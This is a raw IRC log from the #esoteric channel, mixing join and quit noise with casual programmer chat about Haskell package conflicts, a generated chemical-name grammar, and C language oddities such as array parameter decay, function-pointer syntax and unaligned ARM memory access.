:Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395908757 772469 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au JOIN :#esoteric < 1395909282 212911 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395909467 804232 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395909506 177867 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Quit: Tritonio < 1395909509 551845 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395909527 834503 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395909547 201023 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Client Quit < 1395909587 770344 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Client Quit < 1395909924 623044 :password2!~password@197.78.130.32 QUIT :Read error: No route to host < 1395910030 386849 :password2!~password@197.78.167.60 JOIN :#esoteric < 1395910758 9627 :john_metcalf!~digital_w@228.15.125.91.dyn.plus.net JOIN :#esoteric < 1395911454 76333 :heroux!~heroux@50708181.static.ziggozakelijk.nl QUIT :Ping timeout: 268 seconds < 1395912480 782527 :heroux!~heroux@50708181.static.ziggozakelijk.nl JOIN :#esoteric < 1395912505 494405 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Read error: Connection reset by peer < 1395912506 273821 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395912668 237802 :password2!~password@197.78.167.60 QUIT :Ping timeout: 240 seconds < 1395912886 642494 :Frooxius!~Frooxius@cust-101.ktknet.cz QUIT :Read error: Connection reset by peer < 1395912915 113767 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1395913087 563183 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395913281 5653 :xpte!uid17782@gateway/web/irccloud.com/x-htqrvwrexftdmwan QUIT :Quit: Connection closed for inactivity < 1395913377 625537 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395913637 642244 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 240 seconds < 1395914023 444177 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395915170 371376 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1395915364 566962 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395915488 326963 :heroux!~heroux@50708181.static.ziggozakelijk.nl QUIT :Ping timeout: 240 seconds < 1395915596 790410 :heroux!~heroux@5070816D.static.ziggozakelijk.nl JOIN :#esoteric < 1395915715 930850 :int-e!~noone@static.88-198-179-137.clients.your-server.de TOPIC #esoteric : a variety of colorful fish, but the darkness of HackEgo | PSA: fizzie is running the wiki now, contact him for any problems | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ < 1395915746 764286 :password2!~password@197.78.138.28 JOIN :#esoteric < 1395915833 482167 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1395915998 162901 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`echo Is HackEgo stil as dark as he is? < 1395915998 480710 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395916211 331524 :ion!ion@heh.fi PRIVMSG #esoteric :`coins < 1395916211 610736 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395916218 291835 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395916222 41237 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :`asldfjasldn < 1395916222 322195 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395916244 993342 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1395916260 911374 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395916419 810613 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :int-hello. ihellon. olsnellor. < 1395916980 242670 :Tod-Autojoined!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395916986 841930 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1395917237 680710 :Tod-Autojoined!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1395917258 307120 :heroux!~heroux@5070816D.static.ziggozakelijk.nl QUIT :Ping timeout: 240 seconds < 1395917595 362241 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395917895 606442 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Haskell programmers can search infinite fractal functions lazily using 100k green threads running EDSLs that compile down to native token ring mapreduce shootout cloud but they can't make two libraries build together < 1395917902 251616 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Error: Couldn't match type `M.Map Int a0' with `containers-0.5.0.0:Data.Map.Base.Map v0 c0' < 1395917918 659114 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Quit: Leaving < 1395917984 560755 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Jafet: you dared using two libraries in your project? how plebeian of you! the Rightful Compiler was right to snob your code! < 1395918125 190264 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well, when I started out, I wanted to use 16. < 1395918184 490602 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :*shocked gasp* *wild flaying* *abject repulsion* < 1395918241 280179 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :seriously, the State of the Libraries is abysmal. we really should follow through the propositions of curating a set of well behaved libraries. < 1395918333 955122 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1395918352 430458 :boily!~boily@96.127.201.149 QUIT :Quit: CHICKEN BACON < 1395918420 750264 :ion!ion@heh.fi PRIVMSG #esoteric :http://www.independent.co.uk/news/world/americas/homeopathy-product-recalled-over-fears-it-may-contain-actual-medicine-9217206.html < 1395918458 874898 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :based on the various "how to fix cabal" or "the problem with cabal" posts I've read, I've concluded that no-one knows what the problem really is < 1395918675 974407 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :It turned out that cabal had happily gone off and installed containers-0.5.5 under a new package. This made it impossible to use that package with any others, which depended on containers-0.5.0. < 1395919076 605664 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1395920640 91942 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395920932 21552 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1395921199 250632 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1395921811 641639 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395922942 389826 :password2!~password@197.78.138.28 PRIVMSG #esoteric :mmm , i wonder if i should release a qt lib for bf^ < 1395923227 900384 :scoff!scoff@gateway/shell/bnc4free/x-gkpvojbrwxquflrw JOIN :#esoteric < 1395923388 796633 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395924182 378383 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395925032 984378 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Ping timeout: 268 seconds < 1395925106 599956 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395925303 462400 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395925304 812190 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395926275 345008 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Jafet: Bike: http://zem.fi/tmp/iupac.html < 1395926561 825093 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Is that a... chemical name generator? < 1395926601 149949 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I wasn't actually expecting fizzie to do this. < 1395926638 307561 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1395926654 309922 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :How did you get a grammar for that? < 1395926656 577925 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com JOIN :#esoteric < 1395926807 101797 :Koen_!~Koen@vbo91-6-78-245-243-132.fbx.proxad.net JOIN :#esoteric < 1395926828 29925 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I just built one from the first 100000 IUPAC names of PubChem. < 1395926857 230488 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, with an a priori structure, that is; no fancy grammar induction there. < 1395927044 910067 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The ones that are like "1" are quite boring, but that's more or less a limitation of the framework; there are a number of names that consist of a single "component", and there are a number of dash-separated components that consist of a single digit, so the resulting PCFG will have a reasonably high likelihood for generating a single-digit name, since it can't model dependencies like that. < 1395927517 360052 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :MEANWHILE IN /R/BITCOIN (this one is just perfect): https://pay.reddit.com/r/Bitcoin/comments/21g6sx/i_am_a_tax_attorney_here_is_what_the_irs_notice/cgctrb8 < 1395927883 816078 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395928182 130227 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1395928242 698216 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Phantom_Hoover, thank you again for your DF anthracite mod < 1395928715 641703 :Sorella_!~queen@201.80.214.167 JOIN :#esoteric < 1395929096 811783 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au QUIT :Ping timeout: 252 seconds < 1395929641 328466 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :wtf. "The State is an engineering problem, not a social problem." < 1395929725 336515 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh well, whatever. < 1395929742 636102 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Social engineering, the best engineering < 1395929774 632439 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :the author lists the wrong kind of tools < 1395930977 491386 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1395931063 941110 :password2!~password@197.78.138.28 QUIT :Ping timeout: 268 seconds < 1395932251 284385 :Koen_!~Koen@vbo91-6-78-245-243-132.fbx.proxad.net QUIT :Quit: Koen_ < 1395932697 393068 :heroux!~heroux@50708181.static.ziggozakelijk.nl JOIN :#esoteric < 1395933819 696395 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1395933824 70141 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :Taneb, your welcome < 1395934040 115422 :heroux!~heroux@50708181.static.ziggozakelijk.nl QUIT :Ping timeout: 265 seconds < 1395934129 164023 :xpte!uid17782@gateway/web/irccloud.com/x-ilzggwrwopngbrvi JOIN :#esoteric < 1395934339 291166 :password2!~password@197.78.152.90 JOIN :#esoteric < 1395934441 521331 :heroux!~heroux@50708181.static.ziggozakelijk.nl JOIN :#esoteric < 1395934545 355174 :password2!~password@197.78.152.90 QUIT :Read error: Connection reset by peer < 1395934813 780987 :password2!~password@197.78.129.191 JOIN :#esoteric < 1395935139 298678 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395935408 320294 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 240 seconds < 1395935536 539574 :nooodl!~nooodl@91.177.77.176 JOIN :#esoteric < 1395936263 80768 :Slereah!~jackal@244.168.90.79.rev.sfr.net QUIT :Ping timeout: 246 seconds < 1395936263 267738 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Quit: Leaving < 1395936380 486522 :Slereah_!~jackal@117.168.90.79.rev.sfr.net JOIN :#esoteric < 1395936882 131551 :heroux!~heroux@50708181.static.ziggozakelijk.nl QUIT :Ping timeout: 255 seconds < 1395937284 8911 :heroux!~heroux@50708181.static.ziggozakelijk.nl JOIN :#esoteric < 1395937712 351779 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1395937739 452391 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395937745 995473 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1395937753 309793 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395937908 676141 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395938161 712415 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: No route to host < 1395938271 382131 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395938694 219246 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :found a language thats not on the wiki: http://www.mit.edu/~puzzle/2014/puzzle-solution/callooh_callay_world/ < 1395938851 420804 :Sellyme!~Sellyme@199.127.227.147 QUIT :Excess Flood < 1395938978 921641 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395939010 349866 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :The remainder is tweedled, then "unzipped" (modged), and then frolicked < 1395939013 670285 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i like < 1395939260 370900 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1395941189 270266 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Remote host closed the connection < 1395941281 38719 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i wrote this an age ago, when I was taking undergrad intro physics https://gist.github.com/kmcallister/9813132 < 1395941288 868632 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it produces output like http://mathb.in/14776 < 1395941617 363085 :mysanthrop!~myname@84.200.43.57 JOIN :#esoteric < 1395941618 909722 :jix_!~jix@jixco.de JOIN :#esoteric < 1395941682 770165 :myname!~myname@84.200.43.57 QUIT :Disconnected by services < 1395941711 739346 :mysanthrop!~myname@84.200.43.57 NICK :myname < 1395941777 459700 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1395941866 594935 :jix!~jix@jixco.de QUIT :Ping timeout: 245 seconds < 1395941975 598495 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ooh I'd forgotten about srand (time ^ $$ ^ unpack "%L*", `ps axww | gzip -f`); < 1395941989 506734 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :this was at one point recommended by the perl documentation, for cryptographic purposes even http://perldoc.perl.org/5.12.2/functions/srand.html < 1395942023 981319 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :kmc: Hahaha < 1395942026 397235 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :I like that < 1395942262 888875 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :would be even better if you could state where you start and where you want to end < 1395942398 111874 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395942460 213036 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1395942484 737678 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395942675 974870 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 252 seconds < 1395943216 870332 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also, it's fun how these two C functions produce completely different results: < 1395943217 248226 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :size_t f(int x[10]) { return sizeof(x); } < 1395943217 434824 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :size_t g() { int x[10]; return sizeof(x); } < 1395943246 269170 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :because int *x, int x[], int x[5], and int x[10] are entirely equivalent as function arguments, but not elsewhere < 1395943353 590451 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Wow < 1395944020 720435 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :is that any surprising? < 1395944113 519164 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :kmc, what about int x[][10]? < 1395944342 833265 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :srand (time ^ $$ ^ unpack "%L*", `ps axww | gzip -f`); <-- lol < 1395944363 740526 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Taneb: as an argument? that'd be the same as int **x I think < 1395944397 548447 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :myname: I think it's pretty weird and bad; it doesn't surprise me anymore because I know C well < 1395944474 59428 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :kmc: No, it would be the same as int (*x)[10]. < 1395944493 9616 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :pointer and int have same size , no? < 1395944495 268742 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but isn't that the same as int **x, when used as a function argument? < 1395944506 288799 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :kmc: well, c is weird and bad :p < 1395944513 899532 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Zom-B|aw: not guaranteed, and often not in practice < 1395944520 772692 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :No. < 1395944522 299431 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :for example on amd64 linux < 1395944523 352076 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :[20:22:38] ,cc size_t f(int x[][10]) { return sizeof *x; } printf("%zu", f(0)); < 1395944526 828865 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :[20:22:40] fizzie: 40 < 1395944535 19503 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hm < 1395944539 258552 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :okay, I see < 1395944548 319574 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :[20:23:09] ,cc size_t f(int **x) { return sizeof *x; } printf("%zu", f(0)); < 1395944551 348697 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :[20:23:11] fizzie: 8 < 1395944552 988430 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :For completeness. < 1395944556 319570 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's even weirder -_- < 1395944566 248804 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :fizzie: who is manyhills < 1395944576 460940 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I presume int x[10][10] would work the same? < 1395944591 668238 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :there's a reason why i hate c < 1395944602 659467 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. It's only the "first level" of arrayness that is altered to be a pointer in a function parameter. < 1395944604 519285 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Zom-B|aw: if you need a pointer-size integral type there's intptr_t and uintptr_t < 1395944609 849377 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also ptrdiff_t < 1395944671 869918 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :With intptr_t/uintptr_t, it's good to keep in mind that the only guaranteed use is from an arbitrary (object) pointer to (u)intptr_t and back again; not from an arbitrary-valued (u)intptr_t to pointer. < 1395944693 310283 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what are some other examples of bizarre and surprising behavior from C? maybe in the spirit of the JavaScript "Wat" talk < 1395944699 828577 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :integer promotion rules for sure... < 1395944750 327306 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"chars aren't very good characters"\ < 1395944785 798401 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Some of the rules involving mixed signed/unsigned values are quite confusing. < 1395945039 269369 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Fun fact (disclaimer: from memory, haven't checked): glibc implements some of the functions (int isprint(int) etc.) using a pointer to the 128th element of a 384-element look-up table, because those are spec'd to take an 'unsigned char' value as an int but presumably people on plain-char-is-signed systems kept passing negative numbers instead. < 1395945101 308720 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Arguably, the fact that isprint(c) for a char c can be undefined is surprising? < 1395945312 838704 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :("In all cases the argument is an int, the value of which shall be representable as an unsigned char or shall equal the value of the macro EOF. If the argument has any other value, the behavior is undefined." C11 7.4p1) < 1395945328 304518 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :complex pointer arithmetic that's just as hard to port to a high language as spaghetti code < 1395945394 788753 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also the function-returning-a-pointer-to-function syntax is p. horrible, but maybe it doesn't coun as "bizarre and surprising". < 1395945485 300239 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :int (*f(long))(char); declares 'f' as a function that takes one long as an argument, and returns an int (*)(char), i.e., a pointer to a function that takes a char and returns an int. < 1395945512 517036 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it counts as bizarre fo sho < 1395945645 458668 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Then there's the "pointer to a function can't be converted to void *" thing, but maybe that's somewhat mild. < 1395945734 329317 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric : Also the function-returning-a-pointer-to-function syntax <- solved that with subclassing < 1395945740 877655 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Finally set my laptop up to use my bouncer < 1395945760 311517 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1395945794 356887 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I have no idea what "subclassing" means in the context of C. < 1395945833 8549 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :in context of a higher language < 1395945841 223280 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :when porting code < 1395945855 531567 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :also, on the other hand, i hate, how, in high languages, you can't fill an array with 64 bytes and then just 'read' 16 floats from it < 1395945905 659388 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oh, yeah, signed char is a good one < 1395945906 979210 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :time-consuming conversions required where no conversion is actually necessary < 1395945954 113146 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395945990 949525 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Them BSDs define a "dlfunc" that's exactly like dlsym except it returns a dlfunc_t, an unspecified pointer-to-function type. < 1395945995 268880 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Zom-B|aw: a lot of things like that in C are not technically allowed, and they happen to work on most common systems, but the compiler is within its rights to slap you for it (i.e. produce code you would consider "buggy" or even perversely wrong) < 1395945998 869166 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :It's a good thing that high-level languages don't let people like you think you can coerce values wherever you want < 1395946005 654211 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(r)(tm) < 1395946057 138203 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I like that Rust lets you go between byte-vector and string with no copy -- it's just a cast, and (in one direction) a scan to make sure it's valid UTF-8 < 1395946070 320512 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and this is safe < 1395946093 179641 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :A lot of things like that cause x86-specific code to fail when compiled on a system that cares about alignment. (The university computer science classrooms used to be all SPARC, and it was quite the nest of SIGBUS.) < 1395946113 18645 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's unfortunate that the str API exposes its UTF-8-ness, though < 1395946123 679000 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I think std::string is now officially required to give you free casts to char const* < 1395946125 484606 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's full of functions that operate on byte offsets and can fail at runtime < 1395946141 171938 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Jafet: interesting; does that mean they need to store a NULL byte always? < 1395946149 608201 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Rust strings are not like that and so .with_c_str or whatever can copy :/ < 1395946158 960360 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well, nobody cried because every stdlib did that already < 1395946174 509562 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :usually my alignment requirements are all aligned < 1395946206 9948 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I was surprised to learn that ARM now silently makes unaligned accesses work, like x86 does < 1395946232 860792 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Jafet: Was it ARM where you could have a misaligned read silently return a rotated result? < 1395946268 128227 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I don't know, but I think ARMv5 raised an exception < 1395946379 808053 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Anecdotal information from random forum: "In fact none of [the ARM cores] complains by default. Some return rotated data, some others force the two LSB to 0. Some allow to trap unaligned access, others don't." < 1395946399 369934 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :damn < 1395946407 828266 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I thought ISAs were generally supposed to be free of undefined behavior < 1395946443 99474 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :nope.jpeg < 1395948141 191096 :password2!~password@197.78.129.191 QUIT :Ping timeout: 255 seconds < 1395949640 990083 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395949944 58946 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1395950092 435741 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :kmc: heh.. who ever told you such a thing? :) < 1395950142 199989 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :lots of archs leave undefined behavior, like requiring the compiler to fill a delay slot with an instruction after a load or get undefined results < 1395950157 788196 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :gives wiggle room for future optimization < 1395950185 418234 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ok < 1395950208 125174 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :re: aligned accesses, ARM cpus often have a register to control if they should trap or be handled. < 1395950250 638206 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :also unaligned access on ARM prob does something you dont expect (ie. the rotation of the unaligned data) < 1395950250 948437 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but that's more like unspecified behavior than undefined behavior, as C uses those terms, right? < 1395950293 703345 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :hrmm.. i dont know. my guess would be more like C undefined behavior... < 1395950295 930719 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I mean in the slot after a load you might read the old value or the new one or some garbage, but it won't render the entire program from that point on meaningless < 1395950310 429254 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :or is that not the case? < 1395950324 224447 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :but what about a more aggressive optimization that does speculative computation with O-O-O and reordering? < 1395950340 523063 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :wouldnt that sometimes lead to pretty unpredictable corruption of your future program? < 1395950356 172091 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :honeslty I dont know the answer.. would have to look at the fine print < 1395950516 458574 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: bai < 1395950657 47841 